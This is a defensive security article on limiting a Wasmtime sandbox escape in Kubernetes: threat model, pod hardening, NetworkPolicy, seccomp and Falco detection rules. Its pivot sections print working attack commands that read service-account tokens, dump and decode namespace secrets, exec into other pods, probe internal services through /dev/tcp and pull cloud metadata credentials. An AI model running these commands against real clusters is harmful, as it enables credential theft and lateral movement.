WASM Sandbox Escape in Kubernetes: Post-Escape Environment and Pivot Paths

WASM Sandbox Escape in Kubernetes: Post-Escape Environment and Pivot Paths

The Problem

The security model for a WASM workload running in Kubernetes is a stack of nested isolation layers, not a single boundary. From the inside out: the WASM module is sandboxed by the Wasmtime runtime; Wasmtime runs as a process inside a container; the container is managed by the kubelet inside a Kubernetes pod; the pod runs on a node that is part of a cluster. A successful WASM sandbox escape breaks the innermost boundary — between the WASM module and the Wasmtime host process. It does not automatically break any of the outer layers.

This distinction matters because it shapes what the attacker actually has after the escape, and therefore what controls actually contain the blast radius.

CVE-2023-26114 is the reference point. It is a miscompilation bug in Wasmtime’s Cranelift JIT backend affecting versions before 6.0.1, 5.0.1, and 4.0.1. Under specific conditions, Cranelift generates native code for a WASM load or store instruction that bypasses the sandbox bounds check, causing the generated machine code to read or write arbitrary memory in the host process rather than within the WASM linear memory region. An attacker who can supply a crafted WASM module to an unpatched Wasmtime instance can trigger this to read host process memory — extracting API keys, tokens, or private key material — or write to the host process’s address space, potentially redirecting control flow. That is a sandbox escape: the WASM isolation boundary is gone.

But what the attacker has after that escape is code execution inside the Wasmtime process. Not a root shell in the container. Not a shell on the node. Not cluster-admin credentials. The Wasmtime process runs as whatever user the container was launched with, inside a container with whatever filesystem mounts, environment variables, and network access the pod spec defines. Every security decision made when writing that pod spec now determines how far the attacker can go.

If the pod was hardened — non-root user, no automounted service account token, read-only filesystem, restrictive NetworkPolicy — the blast radius of the WASM escape is genuinely contained. The attacker has code execution in a process that can barely do anything beyond its declared function.

If the pod was not hardened — runs as root, automounts the default service account token, has broad network access, injects secrets into environment variables — the blast radius is equivalent to a full container compromise. The WASM sandbox was the only real isolation, and once it is gone, the cluster is exposed.

This is the core argument: in a Kubernetes deployment, WASM sandbox hardening and pod security hardening are not alternatives. They are independent layers. Both are required.

The Post-Escape Environment

When the attacker breaks out of the WASM sandbox into the Wasmtime host process via CVE-2023-26114 (or a future JIT miscompilation), the first thing they do is enumerate what they have. This is not hypothetical — the reconnaissance steps are deterministic from any code execution primitive.

# What the attacker runs after gaining code execution in the Wasmtime process

# 1. Identity — am I running as root?
id
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
# Good pod spec: non-root
# Bad pod spec: uid=0(root) gid=0(root) — game over for container isolation

# 2. Process environment — what secrets did the developer inject directly?
env | grep -iE "SECRET|TOKEN|KEY|PASSWORD|DATABASE_URL|API|REDIS|POSTGRES|MONGO"
# DB_PASSWORD=s3cret1234                 ← plaintext credential in env
# STRIPE_SECRET_KEY=sk_live_abc123       ← live payment API key
# AWS_SECRET_ACCESS_KEY=AKIA...          ← cloud credentials

# 3. Service account token — is the default token mounted?
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# token      ← JWT bearer token for Kubernetes API server
# ca.crt     ← cluster CA certificate
# namespace  ← current namespace

# 4. What's on the filesystem?
find /etc /var /run -name "*.env" -o -name "*.key" -o -name "*.pem" \
     -o -name "config.yaml" -o -name "credentials" 2>/dev/null
# /etc/app/config.yaml        ← often contains database connection strings
# /var/run/secrets/           ← Kubernetes secrets mounted as volumes

# 5. Network position
cat /etc/resolv.conf
# nameserver 10.96.0.10   ← cluster DNS (kube-dns/CoreDNS)
# search default.svc.cluster.local svc.cluster.local cluster.local
# The attacker is on the cluster network

# 6. Can we reach the Kubernetes API server?
curl -sk https://kubernetes.default.svc.cluster.local/version
# {"major":"1","minor":"28","gitVersion":"v1.28.0"...}
# Yes — every pod on the cluster can reach the API server by default

The service account token at /var/run/secrets/kubernetes.io/serviceaccount/token is the most important discovery. Kubernetes automounts this token into every pod by default unless explicitly disabled. The token is a JWT signed by the cluster’s CA and grants whatever permissions the pod’s service account has been granted via RBAC. In many clusters, the default service account in a namespace has more permissions than its workload needs, because no one audited it when deploying the WASM service.

Threat Model

WASM escape → service account token → cluster API enumeration → RBAC escalation. The Wasmtime process can read the mounted service account token. The token authenticates against the Kubernetes API server, which every pod can reach. If the service account has get/list on secrets in its namespace — a common misconfiguration — the attacker can read all secrets in the namespace directly via the API. If it has list on pods or exec permissions, the attacker can pivot to other pods.

WASM escape → environment variable secrets → external system compromise. Secrets injected as environment variables are readable from any code execution context within the process. A single WASM escape against a Wasmtime process that holds a Stripe live key, an AWS IAM key, or a database connection string provides immediate credential access without touching Kubernetes at all.

WASM escape → network access → internal service reconnaissance. The pod sits on the cluster network. Without NetworkPolicy, the attacker can reach any service in the cluster: Redis, PostgreSQL, Elasticsearch, other microservices, and the metadata endpoint of the cloud provider (AWS IMDSv1 at 169.254.169.254, GCP metadata at metadata.google.internal). A cloud metadata endpoint that hasn’t disabled IMDSv1 will hand out the node’s instance role credentials.

WASM escape + privileged pod → container escape → node compromise. If the pod spec sets privileged: true, or mounts /var/run/docker.sock or the host’s /proc, or caps include CAP_SYS_ADMIN, the attacker has a clear path from process-level code execution to full control of the underlying node. From the node, lateral movement to other nodes and cluster-admin credentials is straightforward.

WASM escape → read-only access with no useful pivot. If the pod is correctly hardened, this is the outcome. The attacker has code execution in a process running as UID 65534, with no service account token, a read-only filesystem, no writable temp space beyond a bounded emptyDir, and a NetworkPolicy that only permits egress to one internal service on one port. They cannot persist, cannot pivot to the API server, cannot reach the database directly, and cannot write tooling to disk. The escape is a dead end.

The delta between the first four scenarios and the last one is entirely determined by the pod spec.

Pivot Path 1: Service Account Token Abuse

This is the highest-yield pivot from a pod-level foothold and requires no exploitation beyond reading a file that Kubernetes mounts by default.

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# What permissions does this service account actually have?
curl -s \
  --cacert $CA \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  https://kubernetes.default.svc.cluster.local/apis/authorization.k8s.io/v1/selfsubjectrulesreview \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",
       \"spec\":{\"namespace\":\"$NAMESPACE\"}}" \
  | python3 -c "import sys,json; [print(r) for r in json.load(sys.stdin)['status']['resourceRules']]"

# Example output from a poorly scoped service account:
# {'verbs': ['get', 'list', 'watch'], 'apiGroups': [''], 'resources': ['secrets']}
# {'verbs': ['get', 'list'], 'apiGroups': [''], 'resources': ['pods']}
# {'verbs': ['create'], 'apiGroups': [''], 'resources': ['pods/exec']}

# With secrets.list, dump all secrets in the namespace:
curl -s \
  --cacert $CA \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc.cluster.local/api/v1/namespaces/$NAMESPACE/secrets \
  | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
for item in data['items']:
    print(f\"Secret: {item['metadata']['name']}\")
    for k, v in item.get('data', {}).items():
        print(f\"  {k}: {base64.b64decode(v).decode()}\")
"
# Secret: postgres-credentials
#   username: appuser
#   password: ProdPass9872!
# Secret: stripe-api-key
#   key: sk_live_...

# With pods/exec, pivot into another pod:
curl -s \
  --cacert $CA \
  -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc.cluster.local/api/v1/namespaces/$NAMESPACE/pods/payment-processor-xyz/exec?command=id&stdout=true" \
  --http1.1

The selfsubjectrulesreview call is safe from the attacker’s perspective — it only reads RBAC rules and does not trigger any alerting in default Kubernetes configurations. It tells them exactly what they can do before they do anything noisier.

Pivot Path 2: Network Lateral Movement

The WASM escape gives the attacker a network socket from within the pod. Without NetworkPolicy, that socket can reach anything on the cluster network.

# Enumerate cluster-internal services via DNS (fast, no scanning tools needed)
# Services are discoverable at <service>.<namespace>.svc.cluster.local
for svc in postgres redis elasticsearch kafka rabbitmq mysql mongodb; do
  for ns in default production staging data; do
    timeout 0.5 bash -c \
      "echo > /dev/tcp/${svc}.${ns}.svc.cluster.local/443" 2>/dev/null \
      && echo "REACHABLE: ${svc}.${ns}.svc.cluster.local:443"
    timeout 0.5 bash -c \
      "echo > /dev/tcp/${svc}.${ns}.svc.cluster.local/5432" 2>/dev/null \
      && echo "REACHABLE: ${svc}.${ns}.svc.cluster.local:5432"
  done
done

# Probe the cloud provider instance metadata endpoint
# AWS IMDSv1 (no token required — if not disabled, returns node IAM role)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# NodeInstanceRole   ← the role name

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/NodeInstanceRole
# {
#   "Code" : "Success",
#   "Type" : "AWS-HMAC",
#   "AccessKeyId" : "ASIA...",
#   "SecretAccessKey" : "...",
#   "Token" : "..."
# }
# Node IAM credentials — can be used to call AWS APIs from outside the cluster

# GCP metadata endpoint
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

The IMDS pivot is particularly damaging because it moves the attacker entirely outside Kubernetes — they can use the node’s IAM credentials from any machine on the internet, with no further reliance on the pod or cluster network.

Pivot Path 3: Persistent Access via Mounted Secrets

Applications commonly mount Kubernetes secrets as files. These are immediately readable from any code execution context:

# Find mounted secrets (appear as regular files, not via Kubernetes API)
find / -path "/proc" -prune -o \
       -path "/sys" -prune -o \
       -name "*.pem" -print \
       -o -name "*.key" -print \
       -o -name "*.crt" -print \
       -o -name "config" -print \
       -o -name "kubeconfig" -print \
       2>/dev/null

# Common mount patterns that expose credentials:
cat /var/secrets/db-credentials/password
cat /etc/ssl/private/service.key
cat /home/app/.aws/credentials
cat /run/secrets/tls.key     # Often TLS private keys mounted from secrets

A TLS private key mounted from a Kubernetes secret allows the attacker to impersonate the service in any TLS connection that trusts that certificate — including mutual TLS connections with other microservices.

Hardening Configuration

1. Non-Root Wasmtime Process

If the Wasmtime process runs as root, a WASM sandbox escape is equivalent to a container escape pathway. Running as a non-privileged user is the single highest-leverage control.

apiVersion: v1
kind: Pod
metadata:
  name: wasmtime-server
  namespace: wasm-services
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 65534        # nobody — a user with no home directory and no sudo
    runAsGroup: 65534
    fsGroup: 65534
    seccompProfile:
      type: RuntimeDefault  # enables the container runtime's default seccomp profile
  containers:
  - name: wasmtime-server
    image: wasmtime-server:1.0.0@sha256:3a7bd4c8f2e9d1b5a6f0c3e8d7a2b9e4c1f5d8a3b6e9c2f5d8a1b4e7c0f3d6
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]        # no Linux capabilities at all
    volumeMounts:
    - name: tmp
      mountPath: /tmp        # Wasmtime writes JIT-compiled artefacts here
    - name: wasm-modules
      mountPath: /modules
      readOnly: true
  volumes:
  - name: tmp
    emptyDir:
      sizeLimit: 512Mi       # bound the writable scratch space
  - name: wasm-modules
    configMap:
      name: trusted-wasm-modules

The readOnlyRootFilesystem: true flag matters even after a WASM escape. If the attacker cannot write to the filesystem, they cannot drop persistent tools, modify configuration files, or write scripts that survive the pod lifecycle. The writable emptyDir at /tmp is scoped and ephemeral: it disappears when the pod terminates and its contents cannot escape to the host filesystem.

Wasmtime requires a writable directory to cache JIT-compiled machine code between module loads. The emptyDir at /tmp serves this function. On startup, configure Wasmtime to use it explicitly:

use wasmtime::{Config, Engine};

let mut config = Config::new();
// Point the cache at the writable volume, not the container root
config.cache_config_load_default().ok();  // respects WASMTIME_CACHE_CONFIG env var
// In production: set WASMTIME_CACHE_CONFIG=/tmp/wasmtime-cache.toml
// where the toml points cache.directory = "/tmp/wasmtime-cache"

2. Disable Service Account Token Automount

The service account token is present in every pod by default. For WASM serving workloads that do not need to call the Kubernetes API — which is the vast majority — this is an unconditional risk with no benefit.

apiVersion: v1
kind: ServiceAccount
metadata:
  name: wasmtime-server
  namespace: wasm-services
automountServiceAccountToken: false   # disable at the ServiceAccount level
---
apiVersion: v1
kind: Pod
metadata:
  name: wasmtime-server
  namespace: wasm-services
spec:
  serviceAccountName: wasmtime-server
  automountServiceAccountToken: false  # disable at the Pod level as well
  # Both are required: Pod-level overrides ServiceAccount-level but setting both
  # makes intent explicit and survives copy-paste into manifests that omit the SA spec.

After a WASM sandbox escape into a pod with this configuration, the attacker finds no token file at /var/run/secrets/kubernetes.io/serviceaccount/. The API server pivot path is closed entirely — not because of RBAC, but because there is no credential to use.

Verify the token is absent in the running pod:

kubectl exec -n wasm-services wasmtime-server -- \
  ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>&1
# ls: cannot access '/var/run/secrets/kubernetes.io/serviceaccount/': No such file or directory

Enforce this across the namespace with a ValidatingAdmissionPolicy so that no one can accidentally deploy a WASM pod with the token automounted:

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: wasm-pods-no-sa-token
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      operations: ["CREATE", "UPDATE"]
      resources: ["pods"]
  matchConditions:
  - name: is-wasm-pod
    expression: >
      has(object.metadata.labels) &&
      "runtime" in object.metadata.labels &&
      object.metadata.labels["runtime"] == "wasm"
  validations:
  - expression: >
      object.spec.automountServiceAccountToken == false
    message: "WASM pods must set automountServiceAccountToken: false"
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: wasm-pods-no-sa-token-binding
spec:
  policyName: wasm-pods-no-sa-token
  validationActions: [Deny]
  matchResources:
    namespaceSelector:
      matchLabels:
        workload-type: wasm

3. Do Not Inject Secrets as Environment Variables

Environment variables are one of the worst places to put credentials in a containerised workload. They appear in /proc/self/environ, in docker inspect output, in kubectl describe pod output, in crash dumps, and — critically — in any code execution context that can call getenv() or read /proc/<pid>/environ.

# Wrong — exposes credentials to any code execution in the process:
containers:
- name: wasmtime-server
  env:
  - name: DB_PASSWORD
    value: "s3cret"
  - name: STRIPE_KEY
    value: "sk_live_abc123"

# Better — mount as a file with restricted permissions:
containers:
- name: wasmtime-server
  volumeMounts:
  - name: db-credentials
    mountPath: /run/secrets/db
    readOnly: true
volumes:
- name: db-credentials
  secret:
    secretName: postgres-credentials
    defaultMode: 0400   # owner read-only; nobody else can read it

Mounting as a file is not a complete fix — if the attacker has process-level code execution, they can read any file the process can read. But it is better than an environment variable for two reasons: the credential does not appear in any Kubernetes API output, and the defaultMode: 0400 with a non-root uid ensures that other processes running as different users on the same node cannot read the mounted secret.

The correct approach for high-sensitivity workloads is external secret management: pull credentials from Vault, AWS Secrets Manager, or GCP Secret Manager at process startup using the pod’s identity (IRSA, Workload Identity, or Vault agent injection). The credential then lives only in process memory, not in any Kubernetes object or pod annotation.

4. NetworkPolicy Scoped to Declared Upstreams

After a WASM escape, the attacker has the Wasmtime process’s network socket. NetworkPolicy applied at the pod level continues to enforce even after the WASM sandbox boundary is gone — the CNI plugin enforces it in the kernel, independent of what runs inside the process.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: wasmtime-server-network
  namespace: wasm-services
spec:
  podSelector:
    matchLabels:
      app: wasmtime-server
      runtime: wasm
  policyTypes:
  - Ingress
  - Egress
  ingress:
  # Only accept traffic from the ingress gateway
  - from:
    - namespaceSelector:
        matchLabels:
          name: ingress-nginx
      podSelector:
        matchLabels:
          app.kubernetes.io/name: ingress-nginx
    ports:
    - port: 8080
      protocol: TCP
  egress:
  # Only permit egress to the specific upstream service this WASM app calls
  - to:
    - namespaceSelector:
        matchLabels:
          name: data-plane
      podSelector:
        matchLabels:
          app: upstream-api
    ports:
    - port: 8443
      protocol: TCP
  # Cluster DNS — required for service name resolution
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
      podSelector:
        matchLabels:
          k8s-app: kube-dns
    ports:
    - port: 53
      protocol: UDP
  # Explicitly absent: kubernetes.default (API server), IMDS (169.254.169.254),
  # any database, any Redis, any external IP range

This policy ensures that a post-escape attacker cannot reach the Kubernetes API server from the Wasmtime pod, cannot probe internal databases, and cannot reach the cloud provider IMDS endpoint. The API server is reachable from every pod by default on most clusters; NetworkPolicy is what removes that access.

Test that the NetworkPolicy is enforced by attempting the API server probe from inside the pod:

kubectl exec -n wasm-services wasmtime-server -- \
  curl -sk --connect-timeout 2 https://kubernetes.default.svc.cluster.local/version
# curl: (28) Connection timed out after 2001 milliseconds
# NetworkPolicy is working — the connection is dropped at the pod boundary

5. Seccomp Profile Blocking Post-Escape Syscalls

After a WASM escape, the attacker wants to run tools: curl, wget, nc, python3. They need execve to spawn new processes. A restrictive seccomp profile that blocks execve — or that only allows the specific syscalls Wasmtime needs — limits what the attacker can do even with arbitrary code execution in the Wasmtime process.

Wasmtime’s required syscall surface is well-understood. Create a custom seccomp profile that allows only the syscalls Wasmtime legitimately uses:

# Generate a baseline from Wasmtime's observed syscalls under load:
strace -c -f -e trace=all \
  wasmtime run --allow-precompiled my-module.wasm 2>&1 | grep -v "^%" | head -50

# Key syscalls Wasmtime needs:
# mmap, munmap, mprotect    — JIT code page management
# read, write, pread64      — I/O
# open, openat, close       — file access
# clock_gettime, gettid     — timing (epoch interrupts)
# futex                     — thread synchronisation
# rt_sigaction, sigaltstack — signal handling for trap recovery

# Syscalls to block for a WASM serving workload:
# execve, execveat          — spawn new processes (post-escape tool execution)
# ptrace                    — debug/inspect other processes
# personality               — change execution domain
# mount, umount2            — filesystem modification
# kexec_load                — kernel replacement
# create_module             — kernel module loading

Apply the RuntimeDefault seccomp profile as a starting point, which blocks ~300 of ~380 available syscalls, and supplement with a Localhost profile for the hardest restrictions:

apiVersion: v1
kind: Pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/wasmtime-restricted.json

Where wasmtime-restricted.json is a custom profile deployed to /var/lib/kubelet/seccomp/profiles/ on each node. The profile uses SCMP_ACT_ERRNO for execve and execveat, returning EPERM when the post-escape attacker tries to spawn a shell or download tools.

6. Falco Detection Rules

The controls above reduce blast radius. Falco detects post-escape activity in real time, enabling response before the attacker completes their pivot.

# /etc/falco/rules.d/wasmtime-post-escape.yaml

- rule: Unexpected process exec from Wasmtime container
  desc: >
    A new process was spawned from the Wasmtime container. Wasmtime itself
    does not exec child processes during normal operation. This is a strong
    signal of post-WASM-escape activity where the attacker is running
    reconnaissance tools (id, curl, nc) inside the process.
  condition: >
    spawned_process and
    container.name = "wasmtime-server" and
    not proc.name in (wasmtime, sh, bash) and
    not proc.pname in (wasmtime)
  output: >
    Post-escape exec in Wasmtime container
    (user=%user.name proc=%proc.name cmdline=%proc.cmdline
     parent=%proc.pname container=%container.name
     pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL
  tags: [wasm, container, post-escape]

- rule: Kubernetes API access from Wasmtime container
  desc: >
    The Wasmtime container is making a connection to the Kubernetes API server.
    WASM serving workloads do not call the cluster API. This indicates service
    account token abuse after a WASM sandbox escape.
  condition: >
    outbound and
    container.name = "wasmtime-server" and
    fd.sport != 53 and
    (fd.rip = "10.96.0.1" or         # default kube-apiserver ClusterIP
     fd.rport = 6443 or              # common API server port
     fd.rport = 443) and
    not proc.name in (wasmtime)
  output: >
    Kubernetes API access from Wasmtime container
    (proc=%proc.name connection=%fd.name
     pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL
  tags: [wasm, kubernetes, token-abuse]

- rule: Cloud metadata access from Wasmtime container
  desc: >
    The Wasmtime container is attempting to reach the cloud provider instance
    metadata service (169.254.169.254 on AWS/Azure, metadata.google.internal
    on GCP). This is an IMDS pivot attempt after a WASM sandbox escape.
  condition: >
    outbound and
    container.name = "wasmtime-server" and
    (fd.rip = "169.254.169.254" or
     fd.rip startswith "metadata.google.")
  output: >
    IMDS access from Wasmtime container
    (proc=%proc.name dst=%fd.rip pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL
  tags: [wasm, imds, cloud-credentials]

- rule: Sensitive file read from Wasmtime container
  desc: >
    The Wasmtime container is reading files associated with credential storage.
    Normal WASM serving does not need to enumerate /proc/<pid>/environ or
    scan /etc for configuration files.
  condition: >
    open_read and
    container.name = "wasmtime-server" and
    (fd.name startswith "/proc/" and fd.name endswith "/environ") or
    (fd.name startswith "/etc/" and
     fd.name pmatch (".env", "credentials", ".aws/", ".kube/"))
  output: >
    Credential file access in Wasmtime container
    (proc=%proc.name file=%fd.name pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: WARNING
  tags: [wasm, credential-access]

The first rule fires on any execve inside the Wasmtime container. Normal Wasmtime operation in a serving context spawns no child processes. Any exec — id, curl, sh, python3 — is anomalous. If the seccomp profile blocks execve, the Falco rule fires on the attempt before the seccomp block, giving the SOC both signals.

Expected Behaviour After Hardening

In a correctly hardened pod, the post-escape attacker’s environment looks like this:

# After WASM escape in hardened pod:

id
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
# No privilege escalation available without a separate container escape exploit

ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>&1
# ls: cannot access '/var/run/secrets/kubernetes.io/serviceaccount/': No such file or directory
# API server pivot closed

env | grep -iE "SECRET|TOKEN|KEY|PASSWORD|API"
# (no output)
# No credentials in environment

touch /etc/attacker-was-here 2>&1
# touch: cannot touch '/etc/attacker-was-here': Read-only file system
# Persistence blocked

curl -sk --connect-timeout 2 https://kubernetes.default.svc.cluster.local/version 2>&1
# curl: (28) Connection timed out after 2001 milliseconds
# NetworkPolicy blocking API server egress

curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/ 2>&1
# curl: (28) Connection timed out after 2001 milliseconds
# NetworkPolicy blocking IMDS

execve("/bin/bash", ...)
# EPERM — seccomp blocks execve
# Attacker cannot spawn a shell or run downloaded tools

Simultaneously, Falco fires a CRITICAL alert on the attempted execve, the attempted connection to kubernetes.default, and the attempted connection to 169.254.169.254. The SOC has a real-time signal and the pod name to quarantine.

Trade-offs

Disabling SA token automount. Any WASM workload that legitimately needs to call the Kubernetes API — for instance, a WASM admission webhook, a WASM operator component, or a WASM workload that reads its own CRD configuration — cannot function with automountServiceAccountToken: false. The correct fix is to scope the service account’s RBAC permissions as tightly as possible, then leave automount enabled only for pods that have documented API dependencies. The majority of WASM serving workloads have no such dependency.

Read-only filesystem and Wasmtime’s JIT cache. Wasmtime writes JIT-compiled native code to a cache directory to avoid recompiling on module reload. With readOnlyRootFilesystem: true, this cache must be redirected to the emptyDir volume at /tmp. Set WASMTIME_CACHE_CONFIG to point at /tmp/wasmtime-cache.toml with cache.directory = "/tmp/wasmtime-cache". The emptyDir is bounded by sizeLimit; ensure it is large enough for the compiled module set. A 10 MB WASM module typically produces 30–80 MB of compiled native code depending on optimization level.

Seccomp blocking execve. Some Wasmtime deployment patterns legitimately spawn child processes — for example, a gateway that executes per-request WASM modules in subprocess isolation (the worker-pool model). In that case, execve cannot be blocked globally; the seccomp profile must permit it for the parent orchestrator but can be applied to child worker processes individually via seccomp_init() in the child after fork. Test any custom seccomp profile against your actual Wasmtime usage pattern under load before deploying; a blocked syscall manifests as EPERM errors that may be non-obvious at the application layer.

NetworkPolicy with default-deny egress. WASM modules that call third-party APIs — payment processors, authentication services, geolocation APIs — require explicit egress rules for each destination. If those destinations are external IP ranges rather than cluster services, the NetworkPolicy egress rules must specify ipBlock with explicit CIDR ranges. Maintaining these CIDRs as upstream services change IP ranges is operational overhead. Alternatively, route all external egress through an egress proxy that the WASM pod is allowed to reach; the proxy enforces allow-listing of external destinations independently of Kubernetes.

Failure Modes

Running Wasmtime as root in the container spec. This is the single biggest failure mode. A pod with runAsUser: 0 or without a runAsNonRoot: true constraint gives a WASM escape full root within the container. From root in a container, standard container escape paths are available: CAP_SYS_ADMIN abuse, nsenter onto the host namespaces, kernel exploit, or privileged pod spec escalation. Do not run Wasmtime as root.

Automounted service account token with namespace-level secret access. The Kubernetes default service account in many namespaces has inherited permissions from early cluster setup where broad permissions were granted to make things work quickly. Before disabling or restricting the token, audit what the service account can actually do with kubectl auth can-i --list --as=system:serviceaccount:wasm-services:wasmtime-server. Finding secrets.list in the output means every WASM escape in that namespace can read all secrets in the namespace — which likely includes database credentials for every other service.

No NetworkPolicy means every WASM escape has full cluster network access. Without a default-deny NetworkPolicy, the attacker after a WASM escape can reach PostgreSQL, Redis, Elasticsearch, and the cloud IMDS endpoint directly. Kubernetes clusters do not have default-deny NetworkPolicy — you must create it explicitly. The absence of NetworkPolicy is the most common configuration gap in production WASM deployments because it is invisible: nothing breaks without it.

Assuming WASM sandbox security makes pod hardening redundant. Teams deploying Wasmtime sometimes treat the WASM sandbox as equivalent to container isolation and skip standard pod security hardening. It is not. The WASM sandbox is a compiler-enforced boundary in a codebase that ships CVEs. CVE-2023-26114 affected all Wasmtime versions before 6.0.1. The aarch64-specific Cranelift miscompilation in CVE-2026-34971 affected all Wasmtime versions before 43.0.1 on ARM. The JIT compiler is a large, complex, frequently modified codebase, and JIT correctness bugs that happen to cross security boundaries are a recurring feature of the vulnerability history. Defense in depth is not paranoia — it is the correct response to a boundary that has broken before and will break again.